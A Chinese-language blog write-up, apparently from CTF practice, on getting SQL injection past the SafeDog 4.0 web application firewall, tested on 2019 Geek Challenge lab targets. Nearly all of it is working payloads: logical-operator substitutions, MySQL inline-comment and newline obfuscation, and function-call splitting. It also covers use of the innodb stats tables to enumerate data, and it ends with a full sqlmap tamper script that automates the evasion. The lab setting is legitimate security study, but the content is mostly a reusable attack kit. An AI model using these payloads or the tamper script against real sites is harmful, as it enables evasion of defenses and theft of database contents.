最近准备多搞搞实战,就准备从绕waf开始,第一位受害者就选安全狗4.0叭,用的靶机就是2019极客大挑战的几道sql注入题
'and 1=1-- -
被拦截:
&符号可以绕
'%261-- -
'%26true-- -
'%260-- -
'%26false-- -
xor同样可以绕:
'Xor 1-- -
'Xor true-- -
'or length(database()=4)-- -
会被ban,这样绕:
'%26(length(database/**/())=4)-- -
'%26(ascii(@@version)=53)-- -
这样也可以
1'or -1=-1-- -
1'or -0=-0-- -
...
内敛注释:
1'or /*!1=1*/-- -
或者简单粗暴点的 直接绕过and和or:
/*!11440OR*/
/*!11440AND*/
%23%0a绕过
order%23%0aby 3
内敛注释加注释绕过:
1'/*!order /*!/*/**/by*/4-- -
1'/*!order /*/*%/**/by*/4-- -
1'/*!order /*!/*/**//**/by*/4-- -
1'/*!order /*!/*/**//*/**/by*/4-- -
同样类似上面绕过and方法:
/*!11440order*/
利用内敛注释与注释的混淆绕过
1'/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- -
/*!11440union*/:
/*!11440union*/
单独的括号和函数名都不会检测,思路就是分开函数名和括号就行:
version () #直接空格
user%0a() #这个地方%0a~%20有很多,类似绕过空格
database/**/() #注释符
user/*!*/() #内敛注释
...
这个地方没有找到方法绕过,不过Mysql>5.6.xmysql
库里增添了两个新表,innodb_index_stats
和 innodb_table_stats
这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测,详见这篇文章
最后就可以拖库了:
最后附上tamper脚本:
#!/usr/bin/env python # -*- coding: UTF-8 -*- from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): if payload: payload=payload.replace("=","/*!*/=/*!*/") payload=payload.replace("ORDER","/*!11440order*/") payload=payload.replace("AND","/*!11440AND*/") payload=payload.replace("OR","/*!11440OR*/") payload=payload.replace("UNION","/*!11440UNION*/") payload=payload.replace("SELECT","/*!11440SELECT*/") payload=payload.replace("USER()","USER/**/()") payload=payload.replace("DATABASE()","DATABASE/**/()") payload=payload.replace("VERSION()","VERSION/**/()") payload=payload.replace("SESSION_USER()","SESSION_USER/**/()") return payload